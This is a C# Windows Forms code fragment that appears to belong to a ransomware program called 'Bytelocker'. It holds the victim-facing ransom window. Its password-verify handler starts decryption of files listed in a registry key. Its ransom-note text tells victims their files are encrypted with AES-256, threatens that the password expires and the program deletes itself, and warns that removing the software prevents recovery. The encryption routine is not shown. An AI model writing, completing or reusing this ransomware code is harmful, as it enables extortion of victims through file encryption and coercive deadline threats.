private void BtnVerify_Click(object sender, EventArgs e)
{
pm = new PasswordManager();
pm.FetchPassword();
if (!(tbPassInput.Text == pm.returnPassword()))
{
MessageBox.Show("Invalid Password", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
tmTimeLeftRefresher.Stop();
BtnVerify.Hide();
lbTimeLeft.Text = "";
rtfInfo.Clear();
tbPassInput.Hide();
lbTitleTime.Hide();
lbTitle.Text = "Decrypting . . .";
lbTitle.Show();
lbCurrentFileDecrypt.Show();
pbDecryptProgress.Show();
progress_bar_inc = pbDecryptProgress.Maximum / rm.ReadAllValues(RegistryManager.FILES_KEY_NAME).Count;
tmTimerDecrypt.Start();
new Thread(() =>
{
Thread.CurrentThread.IsBackground = true;
Bytelocker.Decrypt();
}).Start();
}
pm = null;
}
private void BtnNext_Click(object sender, EventArgs e)
{
rtfInfo.Clear();
llAESInfo.Hide();
llListOfInfectedFiles.Hide();
lbTitle.Hide();
tbPassInput.Show();
btnNext.Hide();
BtnVerify.Show();
rtfInfo.AppendText("Enter password to unlock, then click 'Verify' to begin decryption.");
rtfInfo.Select(rtfInfo.GetFirstCharIndexFromLine(0), rtfInfo.Lines[0].Length);
rtfInfo.SelectionBullet = true;
rtfInfo.DeselectAll();
}
private void MainWindowScreenOne()
{
lbCurrentFileDecrypt.Hide();
pbDecryptProgress.Hide();
BtnVerify.Hide();
tbPassInput.Hide();
rtfInfo.Clear();
UpdateTime();
llAESInfo.Show();
llListOfInfectedFiles.Show();
lbTitle.Show();
// rtf box
rtfInfo.AppendText("Your important files, documents, pictures, etc. Have been encrypted." + "\n\n");
llListOfInfectedFiles.Text = "Here";
llListOfInfectedFiles.AutoSize = true;
llListOfInfectedFiles.Location = rtfInfo.GetPositionFromCharIndex(rtfInfo.TextLength);
rtfInfo.Controls.Add(llListOfInfectedFiles);
rtfInfo.AppendText(llListOfInfectedFiles.Text);
rtfInfo.AppendText(new string(' ', 3));
rtfInfo.SelectionStart = rtfInfo.TextLength;
rtfInfo.AppendText("is a complete list of encrypted files, you can verify this manually." + "\n\n" +
"Encryption was produced" +
" using");
llAESInfo.Text = "AES-256";
llAESInfo.AutoSize = true;
llAESInfo.Location = rtfInfo.GetPositionFromCharIndex(rtfInfo.TextLength);
rtfInfo.Controls.Add(llAESInfo);
rtfInfo.AppendText(llAESInfo.Text);
rtfInfo.AppendText(new string(' ', 3));
rtfInfo.SelectionStart = rtfInfo.TextLength;
rtfInfo.AppendText(
"in order to decrypt the files, you need to obtain the password used to generate the key." + "\n\n" +
"The password will only be available for a limited time, after this, the program will delete itself and there will be no way to recover encrypted files." +
"\n\n");
rtfInfo.AppendText(
"NOTE: Removal of or modification of this software will lead to inability to decrypt files.");
// end rtf box
}
